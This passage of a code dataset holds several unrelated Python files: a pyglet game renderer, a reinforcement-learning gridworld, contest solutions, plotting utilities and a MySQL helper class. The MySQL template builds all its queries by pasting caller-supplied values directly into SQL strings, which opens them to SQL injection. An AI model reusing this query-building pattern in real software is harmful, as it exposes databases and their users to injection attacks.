['media/images']\npyglet.resource.reindex()\n# load bitmaps to the boardbitmap\nimg_grass = pyglet.resource.image('grass.png')\nimg_route = pyglet.resource.image('route.png')\n\n# calculate field pixel resolution\nHORIZ_RES = 5 * img_grass.width\nVERT_RES = 5 * img_grass.height\n# calculate lenght in pixels of units in game\nVERT_UNIT = VERT_RES // 100\nHORIZ_UNIT = HORIZ_RES // 100\n\nDAMAGE_LIMIT = 80\n\n# load tower images\ndef load_tower(image_path):\n img_tower = pyglet.resource.image(image_path)\n img_tower.anchor_x = img_tower.width // 2\n img_tower.anchor_y = img_tower.height // 2 - 11\n return img_tower\n\ntower_images = {\n 'Comunacha': load_tower('tower.png'),\n 'Indecisa': load_tower('tower-indecisa.png'),\n 'Bully': load_tower('tower-bully.png'),\n}\n\nimg_deaths = []\nfor n in range(3):\n img = pyglet.resource.image('death{}.png'.format(n))\n img.anchor_x = img.width // 2\n img.anchor_y = img.height // 2\n img_deaths.append(img)\n\n# creates a dict of images of monsters\nIMG_MONSTERS = {}\nfor filename in glob.glob(\"media/images/monster*.png\"):\n filename = os.path.split(filename)[1]\n name_file = os.path.splitext(filename)[0]\n\n attribs = name_file.split('-')\n attribs.remove('monster')\n attribs.sort()\n key = ''.join([k[0] for k in attribs])\n img_monster = pyglet.resource.image(filename)\n img_monster.anchor_x = img_monster.width // 2\n img_monster.anchor_y = img_monster.height // 2\n IMG_MONSTERS[key] = img_monster\n\ngame_window = None\n\n\nclass Drawables():\n \"\"\"Store the objects on the screen.\"\"\"\n board = []\n towers = []\n monsters = []\n death_monsters = []\n score = 0\n shooting_info = []\n\n_drawables = Drawables()\n\n\ndef draw_field(board, towers):\n \"\"\"Draw the board and towers.\"\"\"\n global game_window\n\n _drawables.board = board\n _drawables.towers = towers\n game_window = pyglet.window.Window(HORIZ_RES, VERT_RES)\n\n game_window.push_handlers(on_draw)\n game_window.push_handlers(on_close)\n _refresh()\n\n\ndef draw(monsters, death_monsters, score, shooting_info):\n \"\"\"Draw dynamic objecs: monsters and score.\"\"\"\n _drawables.monsters = monsters\n for m in death_monsters:\n _drawables.death_monsters.append([m.position, 6])\n _drawables.score = score\n _drawables.shooting_info = shooting_info\n _refresh()\n\n\ndef on_close():\n game_window.has_exit = True\n game_window.close()\n\n\ndef on_draw():\n _paint_background()\n pyglet.gl.glLineWidth(2)\n\n for tower in _drawables.towers:\n tower_image = tower_images.get(\n tower.__class__.__name__,\n tower_images['Comunacha']\n )\n sprite = _paint_sprite(\n tower_image,\n tower.position)\n label = pyglet.text.Label(\n str(tower.__class__.__name__),\n font_name='Times New Roman',\n font_size=11,\n x=sprite.x, y=sprite.y - tower_image.anchor_y,\n anchor_x='left', anchor_y='top')\n label.draw()\n\n for monster in _drawables.death_monsters:\n if monster[1]:\n img_death_idx = (monster[1] - 1) // 2\n img_death = img_deaths[img_death_idx]\n sprite = _paint_sprite(img_death, monster[0])\n monster[1] -= 1\n\n for monster in _drawables.monsters:\n key = ''\n if monster.life < DAMAGE_LIMIT:\n key += 'd' # damaged\n if monster.freeze:\n key += 'f'\n if monster.poison:\n key += 'p'\n if monster.rage:\n key += 'r'\n\n sprite = _paint_sprite(IMG_MONSTERS[key], monster.position)\n\n label = pyglet.text.Label(\n 'Score:' + str(_drawables.score),\n font_name='Times New Roman',\n font_size=16,\n x=game_window.width - 5, y=game_window.height - 5,\n anchor_x='right', anchor_y='top')\n label.draw()\n\n for tower, monsters in _drawables.shooting_info:\n tow_x = tower.position[0] * HORIZ_UNIT\n tow_y = VERT_RES - tower.position[1] * VERT_UNIT\n\n if monsters:\n for monster in monsters:\n mon_x = monster.position[0] * HORIZ_UNIT\n mon_y = VERT_RES - monster.position[1] * VERT_UNIT\n\n pyglet.graphics.draw(\n 2, pyglet.gl.GL_LINES,\n (\"v2i\", (tow_x, tow_y, mon_x, mon_y)),\n (\"c4B\", (255, 0, 0, 255) * 2),\n )\n\n\ndef _paint_background():\n for row, line in enumerate(_drawables.board):\n for col, value in enumerate(line):\n if value == 'G':\n image = img_grass\n else:\n image = img_route\n x = col * image.width\n y = VERT_RES - (row + 1) * image.height\n image.blit(x, y)\n\n\ndef _paint_sprite(img, pos):\n x = pos[0] * HORIZ_UNIT\n y = VERT_RES - pos[1] * VERT_UNIT\n sprite = pyglet.sprite.Sprite(img, x=x, y=y)\n sprite.draw()\n return sprite\n\n\ndef _refresh():\n pyglet.clock.tick()\n if not game_window.has_exit:\n game_window.dispatch_events()\n game_window.dispatch_event('on_draw')\n game_window.flip()\n else:\n sys.exit()\n","sub_path":"core/painter.py","file_name":"painter.py","file_ext":"py","file_size_in_byte":5312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"292558865","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport time\nimport src.db.mysql\nimport src.utils.Utils as Utils\n\ndef query(sql):\n conn = src.db.mysql.getConn()\n with conn.cursor() as cursor:\n cursor.execute(sql)\n conn.commit()\n data = cursor.fetchall()\n cursor.close()\n conn.close()\n return {'data': data}\n \ndef props(obj):\n pr = {}\n for name in dir(obj):\n value = getattr(obj, name)\n if not name.startswith('__') and not callable(value) and not name.startswith('_'):\n pr[name] = value\n return pr\n\ndef fields_sql(entity_name,fields):\n if fields != None:\n filter_str = ''\n for field in fields:\n if isinstance(field,dict):\n filter_str += (list(field.keys())[0] + ',')\n if len(filter_str) > 0:\n filter_str = filter_str[0,-1]\n sql = 'select ' + filter_str + ' from `' + entity_name + '`'\n else:\n sql = 'select * from `' + entity_name + '`'\n return sql\n else:\n sql = 'select * from `' + entity_name + '`'\n return sql\n\ndef filter_condition(sql,child_key,child_value):\n condition_key = list(child_value.keys())[0]\n if condition_key == '$regex':\n sql += (child_key + ' like \"%' + str(child_value[condition_key]) + '%\"')\n elif condition_key == '$nl':\n sql += (child_key + ' not like \"%' + str(child_value[condition_key]) + '%\"')\n elif condition_key == '$ne':\n if child_value[condition_key] == None:\n sql += (child_key + 'is not null ')\n else:\n sql += (child_key + ' != \"' + str(child_value[condition_key]) + '\"')\n elif condition_key == '$gt':\n sql += (child_key + ' > ' + str(child_value[condition_key]))\n elif condition_key == '$gte':\n sql += (child_key + ' >= ' + str(child_value[condition_key]))\n elif condition_key == '$lt':\n sql += (child_key + ' < ' + str(child_value[condition_key]))\n elif condition_key == '$lte':\n sql += (child_key + ' <= ' + str(child_value[condition_key]))\n elif condition_key == '$in':\n condition = '('\n for c in child_value[condition_key]:\n if isinstance(c,str):\n condition += '\"' + c + '\",'\n else:\n condition += str(c) + ','\n condition = condition[0:len(condition)-1]\n condition = condition + ')'\n sql += (child_key + ' in ' + condition)\n elif condition_key == '$not in':\n condition = '('\n for c in child_value[condition_key]:\n if isinstance(c,str):\n condition += '\"' + c + '\",'\n else:\n condition += str(c) + ','\n condition = condition[0:len(condition)-1]\n condition = condition + ')'\n sql += (child_key + 'not in ' + condition)\n return sql\n\ndef filter_sql(sql,filter):\n if len(filter) == 0:\n return sql\n sql += ' where '\n field_keys = list(filter.keys())\n for field_index in range(len(field_keys)):\n field_key = field_keys[field_index]\n field_value = filter[field_key]\n if field_index > 0:\n sql += ' and '\n if isinstance(field_value, dict):\n if field_key == '$and' or field_key == '$or':\n child_keys = list(field_value.keys())\n sql += ' ('\n for child_field_index in range(len(child_keys)):\n child_key = child_keys[child_field_index]\n child_value = field_value[child_key]\n if isinstance(child_value, str):\n child_value = '\"' + child_value + '\"'\n if child_field_index > 0:\n if field_key == '$or':\n sql += ' or '\n else:\n sql += ' and '\n sql = filter_condition(sql, child_key, child_value)\n else:\n sql = filter_condition(sql, field_key, field_value)\n else:\n if isinstance(field_value, str):\n field_value = '\"' + field_value + '\"'\n else:\n field_value = str(field_value)\n sql += (field_key + '=' + field_value)\n return sql\n\ndef sort_sql(sql,sort):\n sql += ' order by';\n if sort != None and len(sort) > 0:\n for index in range(len(sort.keys())):\n if index > 0:\n sql += ','\n key = list(sort.keys())[index]\n sql += (' ' + key)\n if sort[key] == -1 or sort[key] == 'desc':\n sql += ' desc'\n else:\n sql += ' asc'\n else:\n sql += (' id desc')\n return sql\n\nclass Template:\n\n entity_name = ''\n\n\n def __init__(self, entity_name):\n self.entity_name = entity_name\n\n def find(self, filter, fields={}, skip=None, limit=None, sort={}):\n conn = src.db.mysql.getConn()\n with conn.cursor() as cursor:\n sql = fields_sql(self.entity_name,fields)\n sql = filter_sql(sql,filter)\n sql = sort_sql(sql,sort)\n if skip != None and limit != None:\n sql = sql + ' limit ' + str(skip) + ',' + str(limit)\n cursor.execute(sql)\n rs = cursor.fetchall()\n if rs == ():\n rs = []\n conn.commit()\n cursor.close()\n conn.close()\n return {'data': rs}\n \n\n\n def findOne(self, filter, sort={'id': 1}):\n conn = src.db.mysql.getConn()\n with conn.cursor() as cursor:\n sql = 'select * from `' + self.entity_name + '`'\n sql = filter_sql(sql,filter)\n sql = sort_sql(sql,sort)\n cursor.execute(sql)\n rs = cursor.fetchone()\n conn.commit()\n cursor.close()\n conn.close()\n return {'data': rs}\n \n\n def count(self, filter):\n conn = src.db.mysql.getConn()\n with conn.cursor() as cursor:\n sql = 'select count(*) as count from `' + self.entity_name + '` '\n sql = filter_sql(sql,filter)\n cursor.execute(sql)\n rs = cursor.fetchone()\n conn.commit()\n cursor.close()\n conn.close()\n if rs.get('err') != None:\n return rs\n return {'data': rs.get('count')}\n\n def save(self, obj):\n conn = src.db.mysql.getConn()\n with conn.cursor() as cursor:\n if obj.createtime != None:\n obj.createtime = Utils.getStamp()\n if obj.version != None:\n obj.version = time.strftime('%Y-%m-%d',time.localtime())\n sql = 'insert into `' + self.entity_name + '` ('\n dict = props(obj)\n\n for key in dict.keys():\n sql += key + ','\n sql = sql[0:(len(sql)-1)] + ') values ('\n for value in list(dict.values()):\n if isinstance(value,str):\n sql += \"'\" + value + \"',\"\n else:\n if value == None:\n value = 'Null'\n sql += str(value)+ ','\n length = len(sql) - 1\n sql = sql[0:length] + ')'\n cursor.execute(sql)\n conn.commit()\n cursor.execute(\"select last_insert_id();\")\n data = cursor.fetchall()\n cursor.close()\n conn.close()\n return {'data': {'insertId': list(data[0].values())[0] }}\n \n\n def update(self, filter, update_data):\n conn = src.db.mysql.getConn()\n with conn.cursor() as cursor:\n sql = 'update `' + self.entity_name + '` set '\n \n for key in update_data:\n if isinstance(update_data[key], str):\n sql += key + '=\"' + update_data[key] + '\",'\n elif isinstance(update_data[key], dict):\n opt_key = list(update_data[key].keys())[0]\n if opt_key == '$add':\n sql += (key + ' = (' + key + '+' + str(update_data[key][opt_key]) + '),')\n elif opt_key == '$subtract':\n sql += (key + ' = (' + key + '-' + str(update_data[key][opt_key]) + '),')\n elif opt_key == '$multiply':\n sql += (key + ' = (' + key + '*' + str(update_data[key][opt_key]) + '),')\n elif opt_key == '$divide':\n sql += (key + ' = (' + key + '/' + str(update_data[key][opt_key]) + '),')\n else:\n sql += (key + '=' + str(update_data[key]) + ',')\n sql = sql[0:(len(sql) - 1)]\n sql = filter_sql(sql,filter)\n cursor.execute(sql)\n conn.commit()\n cursor.close()\n conn.close()\n\n\n def delete(self, filter):\n conn = src.db.mysql.getConn()\n with conn.cursor() as cursor:\n sql = 'delete from ' + self.entity_name\n sql = filter_sql(sql, filter)\n cursor.execute(sql)\n conn.commit()\n cursor.close()\n conn.close()\n\n\ndef newTemplate(entity_name):\n return Template(entity_name)","sub_path":"src/db/mysqlTemplate.py","file_name":"mysqlTemplate.py","file_ext":"py","file_size_in_byte":9220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"390397227","text":"import argparse\nfrom time import time\nimport matplotlib.pyplot as plt\nimport pdb\nimport numpy as np\n#row-column format is used\n# top-left is (r=0,c=0)\nstart_time = time()\ndef plot(x,y, title,x_lab, y_lab,savename):\n\tplt.clf()\n\tplt.plot(x, y)\n\tplt.title(title, fontsize=10)\n\tplt.xlabel(x_lab)\n\tplt.ylabel(y_lab)\n\tplt.grid()\n\tplt.savefig(savename)\n\t# plt.show()\t\nclass GridWorld(object):\n\t\"\"\"docstring for GridWorld\"\"\"\n\tdef __init__(self, height, width, start, end, wind_vector,num_actions,alpha,epsilon, stochastic):\n\t\tsuper(GridWorld, self).__init__()\n\t\tself.stochastic = stochastic\n\t\tself.steps_for_to_end = 0\n\t\tself.reached_end = 0\n\t\tself.epsilon =epsilon\n\t\tself.gamma = 1\n\t\tself.alpha = alpha\n\t\tself.num_actions = num_actions\n\t\tself.wind_vector = wind_vector\n\t\tself.width = width\n\t\tself.height = height\n\t\tself.start = start\n\t\tself.end = end\n\t\tself.r = start[0]\n\t\tself.c = start[1]\n\t\t# self.Q_tab = np.random.randint(5, size=(self.height, self.width, self.num_actions))\n\t\tself.Q_tab = np.zeros((self.height, self.width, self.num_actions))\n\t\tself.action_to_id = {\"up\":0,\n\t\t\t\t\t\t \"right\":1,\n\t\t\t\t\t\t \"down\":2,\n\t\t\t\t\t\t \"left\":3}\n\t\tself.id_to_action = {0:\"up\",\n\t\t\t\t\t\t 1:\"right\",\n\t\t\t\t\t\t 2:\"down\",\n\t\t\t\t\t\t 3:\"left\"}\n\t\tif self.num_actions==8:\t\t\t\t\t\t \n\t\t\tself.id_to_action = {0:\"N\",\n\t\t\t\t\t\t\t 1:\"E\",\n\t\t\t\t\t\t\t 2:\"S\",\n\t\t\t\t\t\t\t 3:\"W\",\n\t\t\t\t\t\t\t 4:\"NE\",\n\t\t\t\t\t\t\t 5:\"SE\",\n\t\t\t\t\t\t\t 6:\"SW\",\n\t\t\t\t\t\t\t 7:\"NW\"}\n\t\t\n\tdef get_next_s_r_8_actions(self, action,i):\n\t\twind_action = self.wind_vector[self.c]\n\t\tself.r = self.r + wind_action\n\t\tif (self.stochastic) and (wind_action != 0) :\n\t\t\tself.r += np.random.choice([-1,1,0],1)\t\t\n\t\tif \"N\" in action:\n\t\t\tself.r -= 1\n\t\tif \"S\" in action:\n\t\t\tself.r +=1\n\t\tif \"W\" in action:\n\t\t\tself.c -= 1\n\t\tif \"E\" in action:\n\t\t\tself.c += 1\n\t\tif self.r < 0:\n\t\t\tself.r=0\n\t\tif self.r > (self.height-1): \n\t\t\tself.r= (self.height-1)\n\t\tif self.c < 0: \n\t\t\tself.c=0\n\t\tif self.c > (self.width-1): \n\t\t\tself.c = (self.width-1)\n\t\treward = -1\n\t\tif (self.r == self.end[0] and self.c == self.end[1]):\n\t\t\tself.r = start[0]\n\t\t\tself.c = start[1]\n\t\t\treward = 10\n\t\t\tself.reached_end += 1\n\n\t\t\tself.steps_for_eps[i] = self.steps_for_to_end\n\t\t\tself.steps_for_to_end = 0\n\t\tnext_s = {\"r\":self.r, \"c\":self.c}\n\t\treturn next_s, reward\n\n\tdef get_next_s_r(self, action,i):\n\t\twind_action = self.wind_vector[self.c]\n\t\tself.r = self.r + wind_action\n\t\t\n\t\tif action == \"up\":\n\t\t\tself.r -= 1\n\t\telif action == \"down\":\n\t\t\tself.r +=1\n\t\telif action == \"left\":\n\t\t\tself.c -= 1\n\t\telif action == \"right\":\n\t\t\tself.c += 1\n\t\tif self.r < 0:\n\t\t\tself.r=0\n\t\tif self.r > (self.height-1): \n\t\t\tself.r= (self.height-1)\n\t\tif self.c < 0: \n\t\t\tself.c=0\n\t\tif self.c > (self.width-1): \n\t\t\tself.c = (self.width-1)\n\t\treward = -1\n\t\tif (self.r == self.end[0] and self.c == self.end[1]):\n\t\t\tself.r = start[0]\n\t\t\tself.c = start[1]\n\t\t\treward = 100\n\t\t\tself.reached_end += 1\n\n\t\t\tself.steps_for_eps[i] = self.steps_for_to_end\n\t\t\tself.steps_for_to_end = 0\n\t\tnext_s = {\"r\":self.r, \"c\":self.c}\n\t\treturn next_s, reward\n\n\n\t# def update_Q(self,state,action,reward,next_s):\n\t# \tnext_a = np.argmax(self.Q_tab[next_s[\"r\"],next_s[\"c\"],:])\n\t# \tTarget = reward + self.gamma*self.Q_tab[next_s[\"r\"],next_s[\"c\"],next_a]\n\t# \tself.Q_tab[state[\"r\"],state[\"c\"],action] = self.Q_tab[state[\"r\"],state[\"c\"],action]*(1-self.alpha) + self.alpha*(Target)\n\n\tdef sarsa_update(self,state,action,reward,next_s, next_action):\n\t\tTarget = reward + self.gamma*self.Q_tab[next_s[\"r\"],next_s[\"c\"],next_action]\n\t\tself.Q_tab[state[\"r\"],state[\"c\"],action] = self.Q_tab[state[\"r\"],state[\"c\"],action]*(1-self.alpha) + self.alpha*(Target)\n\n\tdef Q_learning_update(self,state,action,reward,next_s,next_action):\n\t\tnext_greedy_a = np.argmax(self.Q_tab[next_s[\"r\"],next_s[\"c\"],:])\n\t\tTarget = reward + self.gamma*self.Q_tab[next_s[\"r\"],next_s[\"c\"],next_greedy_a]\n\t\tself.Q_tab[state[\"r\"],state[\"c\"],action] = self.Q_tab[state[\"r\"],state[\"c\"],action]*(1-self.alpha) + self.alpha*(Target)\n\n\tdef expected_Q_learning_update(self,state,action,reward,next_s,next_action):\n\t\tnext_greedy_a = np.argmax(self.Q_tab[next_s[\"r\"],next_s[\"c\"],:])\n\t\tTarget = reward \n\t\tfor act in range(self.num_actions):\n\t\t\tTarget += self.epsilon/self.num_actions * self.gamma*self.Q_tab[next_s[\"r\"],next_s[\"c\"],act]\n\t\tTarget += (1-self.epsilon) * self.gamma*self.Q_tab[next_s[\"r\"],next_s[\"c\"],next_greedy_a]\n\t\tself.Q_tab[state[\"r\"],state[\"c\"],action] = self.Q_tab[state[\"r\"],state[\"c\"],action]*(1-self.alpha) + self.alpha*(Target)\n\tdef find_path(self, steps, algo):\n\t\tself.episodes, self.steps_for_eps = np.zeros((steps)),np.zeros((steps))\n\t\tstate = {\"r\":self.r,\"c\":self.c}\n\t\tdo_explore = np.random.binomial(1, self.epsilon)\n\t\tif do_explore:\n\t\t\tcurrent_action = np.random.randint(self.num_actions)\n\t\telse:\n\t\t\tcurrent_action = np.argmax(self.Q_tab[self.r,self.c,:])\n\t\tfor i in range(steps):\n\t\t\tif self.num_actions == 4:\n\t\t\t\tnext_s, reward = self.get_next_s_r(self.id_to_action[current_action],i)\n\t\t\telif self.num_actions == 8:\n\t\t\t\tnext_s, reward = self.get_next_s_r_8_actions(self.id_to_action[current_action],i)\t\t\t\n\t\t\tdo_explore = np.random.binomial(1, self.epsilon)\n\t\t\tif do_explore:\n\t\t\t\tnext_action = np.random.randint(self.num_actions)\n\t\t\telse:\n\t\t\t\tnext_action = np.argmax(self.Q_tab[next_s[\"r\"],next_s[\"c\"],:])\n\t\t\tif algo==\"sarsa\":\n\t\t\t\tself.sarsa_update(state,current_action,reward,next_s,next_action)\n\t\t\telif algo==\"q_learning\":\n\t\t\t\tself.Q_learning_update(state,current_action,reward,next_s,next_action)\n\t\t\telif algo==\"exp_q_learn\":\n\t\t\t\tself.expected_Q_learning_update(state,current_action,reward,next_s,next_action)\n\t\t\tself.episodes[i] = self.reached_end\n\t\t\tself.steps_for_to_end += 1\n\t\t\tstate = next_s\n\t\t\t# self.r, self.c = next_s[\"r\"],next_s[\"c\"]\n\t\t\tcurrent_action = next_action\n\t\treturn self.episodes, self.steps_for_eps\n\n\t\t# for i in range(steps):\n\t\t# \tstate = {\"r\":self.r,\"c\":self.c}\n\t\t# \tdo_explore = np.random.binomial(1, self.epsilon)\n\t\t# \tif do_explore:\n\t\t# \t\tcurrent_action = np.random.randint(self.num_actions)\n\t\t# \telse:\n\t\t# \t\tcurrent_action = np.argmax(self.Q_tab[self.r,self.c,:])\n\t\t\t# print(self.id_to_action[current_action])\n\t\t\t# if self.num_actions == 4:\n\t\t\t# \tnext_s, reward = self.get_next_s_r(self.id_to_action[current_action],i)\n\t\t\t# elif self.num_actions == 8:\n\t\t\t# \tnext_s, reward = self.get_next_s_r_8_actions(self.id_to_action[current_action],i)\n\t\t\t# print(state, current_action)\n\t\t\t# self.update_Q(state,current_action,reward,next_s)\n\t\t\t# self.episodes[i] = self.reached_end\n\t\t\t# self.steps_for_to_end += 1\n\t\t\t# # steps_for_eps[i] = \n\t\t\t# if ((i+1) % 1000 == 0):\n\t\t\t# \tprint(i+1, self.reached_end)\n\n\t\t# return self.episodes, self.steps_for_eps\n\n\n\n\n\tdef state_r_c_to_num(self, r, c):\n\t\treturn r*self.width + c \n\n\n\tdef get_current_status(self):\n\t\tprint(f\"current (row, column): ({self.r},{self.c})\")\n\t\t# print(f\"current column {self.c}\")\n\t\t# print(f\"current matrix {self.width}x{self.height}\")\n\n\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(description='Windy Gridworld, Parse #Actions, algorithm, alpha, epsilon, horizon_steps, stochasticity.')\n\tparser.add_argument('--num_actions', default=4, help='Number of available actions(up, down, east, west, etc.).')\n\tparser.add_argument('--steps', default=8000, help='Number of steps(horizon).')\n\tparser.add_argument('--alpha', default=0.5, help='Learning rate')\n\tparser.add_argument('--epsilon', default=0.1, help='Exploit vs explore')\n\tparser.add_argument('--algorithm', default=\"sarsa\", help='q_learning,sarsa,exp_q_learn')\n\tparser.add_argument('--stochastic', default=False, help='q_learning,sarsa,exp_q_learn')\n\targs = parser.parse_args()\n\tstart = (3,0)\n\tend = (3,7)\n\theight = 7\n\twidth = 10\n\twind_vector = -np.array([0,0,0,1,1,1,2,2,1,0])\n\tstochastic = args.stochastic\n\tnum_actions = int(args.num_actions)\n\tsteps = int(args.steps)\n\talpha = float(args.alpha)\n\tepsilon = float(args.epsilon)\n\talgo = args.algorithm\n\ttotal_eps = 0\n\tfor randomseed in range(1,11):\n\t\tnp.random.seed(randomseed)\t\n\t\tworld = GridWorld(height,width,start,end, wind_vector,num_actions,alpha,epsilon,stochastic)\n\t\tepisodes, steps_for_eps = world.find_path(steps,algo)\n\t\ttotal_eps += episodes\n\t# plot(x,y, title,x_lab, y_lab,savename)\n\tepisodes = total_eps/10\n\tplot(range(steps), episodes, f\"Episodes against time steps\\nactions:{num_actions},alpha:{alpha},eps:{epsilon},max_episodes:{int(episodes[-1])}\\nstochastic:{stochastic},algorithm:{algo}\",\"Time steps\", \"Episodes\", f\"episodes_vs_time_actions:{num_actions},stochastic:{stochastic},algorithm:{algo}.jpg\")\n\t# plot(range(steps), steps_for_eps, f\"Steps taken for completing a episode against time steps;actions{num_actions}\",\"Time steps\", \"Steps taken for completing a episode\", f\"episodes_vs_time_alp:{alpha:.2f}_eps:{epsilon:.2f}_score:{np.min(steps_for_eps[np.nonzero(steps_for_eps)])}.jpg\")\n\tprint(f'total_time taken: {(time()- start_time)//3600} hrs {(time()- start_time)%3600//60} min {int((time()- start_time)%60)} sec')\n\t","sub_path":"cs747-pa-3/old_codes/combine_code_last.py","file_name":"combine_code_last.py","file_ext":"py","file_size_in_byte":8797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"166615350","text":"# Copyright 2020 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\ndef scale_dataset(x_train):\n import numpy as np\n # cifar10 data is only 32x32 pixels, so we must upsample by a factor of 7\n # to produce the 224x224 images required by resnet.\n return np.repeat(np.repeat(x_train, 7, axis=1), 7, axis=2)\n\n\ndef build_model(backend=None, layers=None, models=None, utils=None):\n import keras\n import keras_applications as kapp\n from keras.backend import floatx\n from keras.layers import Input\n inputLayer = Input(shape=(224, 224, 3), dtype=floatx())\n if backend is None:\n backend = keras.backend\n if layers is None:\n layers = keras.layers\n if models is None:\n models = keras.models\n if utils is None:\n utils = keras.utils\n return kapp.resnet_v2.ResNet50V2(input_tensor=inputLayer,\n backend=backend,\n layers=layers,\n models=models,\n utils=utils)\n","sub_path":"plaidbench/plaidbench/networks/keras/resnet50_v2.py","file_name":"resnet50_v2.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"465709625","text":"def classify(s):\n if '=' in s[0]:\n return '='\n return s[0]\n\ndef parse(s):\n eq = s.index('=')\n a = s[:eq]\n plus = s.index('+')\n b = s[eq+1:plus]\n c = s[plus+1:]\n\n return a, b, c\n\ndef main():\n n = int(input())\n p1 = [input().split() for _ in range(n)]\n m = int(input())\n p2 = [input().split() for _ in range(m)]\n\n if n != m:\n return 'NO'\n\n rewrite = {}\n for i in range(n):\n s1, s2 = p1[i], p2[i]\n if len(s1) != len(s2):\n return 'NO'\n\n if len(s1) == 2:\n if s1[0] != s2[0]:\n return 'NO'\n x, y = s1[1], s2[1]\n if x in rewrite and rewrite[x] != y:\n return 'NO'\n\n rewrite[x] = y\n else:\n for x, y in zip(parse(s1[0]), parse(s2[0])):\n if x in rewrite and rewrite[x] != y:\n return 'NO'\n rewrite[x] = y\n\n return 'YES'\n\nprint(main())\n","sub_path":"codeforces/gym/102419/l.py","file_name":"l.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"436547040","text":"def solution(brown, yellow):\n division_numbers = []\n\n for i in range(1, int(yellow ** (1 / 2)) + 1):\n if yellow % i == 0:\n division_numbers.append((i, yellow // i))\n\n answer = []\n for division in division_numbers:\n square_width = (division[0] + 2) * (division[1] + 2)\n yellow_width = division[0] * division[1]\n\n if brown == square_width - yellow_width:\n answer.extend([division[1] + 2, division[0] + 2])\n break\n\n return answer\n","sub_path":"Programmers/노수일/Q42842.py","file_name":"Q42842.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"249640929","text":"from dft import discreteFourierTransform\nimport time\nimport sys\nsys.path.append('../')\nfrom lab1.signalGenerator import createSignal\n\ndef getDFTComplexity(stepsCount, harmonics, maxFrequency):\n elapsed = []\n size = []\n for i in range(stepsCount):\n count = int(10 * (i + 1))\n size.append(count)\n signal = createSignal(harmonics, maxFrequency, count)\n start = time.perf_counter()\n discreteFourierTransform(signal)\n stop = time.perf_counter()\n elapsed.append(stop - start)\n return size, elapsed\n","sub_path":"lab2_1/complexity.py","file_name":"complexity.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"13114035","text":"#!/usr/bin/env python\nimport numpy as np\nfrom scipy.interpolate import interp1d\nimport matplotlib.pyplot as plt\nfrom math import ceil, floor\nfrom decimal import Decimal\n\n\ndef interpolate(x, y):\n 'interpolate salt from known notes at x'\n if len(x) == 1:\n # if only one point, brute set other points by cypher mentioned above\n brute_salt(x)\n if len(x) == 2:\n # if two points, linearly interpolate\n f2 = interp1d(x, y, kind='linear')\n if len(x) == 3:\n # if three points, quadratically interpolate\n f2 = interp1d(x, y, kind='quadratic')\n else:\n # otherwise do cubic interpolation\n f2 = interp1d(x, y, kind='cubic')\n return f2\n\n\ndef nearest_upper_note(x):\n 'if note within representational error, it is not interpolated, do not edit\\ otherwise take upper 0.5'\n if abs(x - int(x)) < 0.00000000000001:\n return float(int(x))\n else:\n return 0.5*ceil(2.0*x)\n\n\ndef nearest_lower_note(x):\n 'if note within representational error, it is not interpolated, do not edit\\ otherwise take lower 0.5'\n if abs(x - int(x)) < 0.00000000000001:\n return float(int(x))\n else:\n return 0.5*floor(2.0*x)\n\n\nx = [0.0, 2.0, 4.0]\ny = [3.0, 1.0, 1.0]\n\nf = interp1d(x, y)\nf2 = interpolate(x, y)\n\nxnew = np.linspace(0.0, 4.0, num=40)\nxtune = range(int(x[-1]) + 1)\ntune = f2(xtune)\n\nfloors = [nearest_lower_note(t) for t in tune]\nceilings = [nearest_upper_note(t) for t in tune]\n\nplt.plot(\n x, y, 'o',\n xnew, f2(xnew), '--',\n xtune, tune, '-',\n xtune, ceilings, '-',\n xtune, floors, '-'\n)\n\nplt.legend(['data', 'interpolation', 'tune', 'ceiling', 'floor'], loc='best')\nplt.savefig('clara.png', dpi=200)\nplt.show()\n","sub_path":"examples/generating_clara_schumann.py","file_name":"generating_clara_schumann.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"198997467","text":"import re\n\nmagic_var_name = \"__run_py__\"\n\ndef strip_comment(str):\n return re.sub(r'#.*', '', str)\n\ndef strip_comments(lines):\n for i in range(len(lines)):\n lines[i] = strip_comment(lines[i])\n\ndef replace_empty_lines_with_noop(lines):\n ws_computed = \"\"\n for i in range(len(lines)-1,0,-1):\n line = lines[i]\n if (line.strip() == \"\"):\n ws_len_user = len(line.rstrip('\\n'))\n ws_len_computed = len(ws_computed)\n if ws_len_user > ws_len_computed:\n ws = line.rstrip('\\n')\n else:\n ws = ws_computed\n # note: we cannot use pass here because the Python Debugger\n # Framework (bdb) does not stop at pass statements\n lines[i] = ws + magic_var_name + \" = 0\\n\"\n else:\n ws_len = len(line) - len(line.lstrip())\n ws_computed = line[0:ws_len]\n\ndef load_code_lines(file_name):\n with open(file_name) as f:\n lines = f.readlines()\n strip_comments(lines)\n replace_empty_lines_with_noop(lines)\n return lines\n","sub_path":"src/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"195338600","text":"from django.shortcuts import render , redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Category, 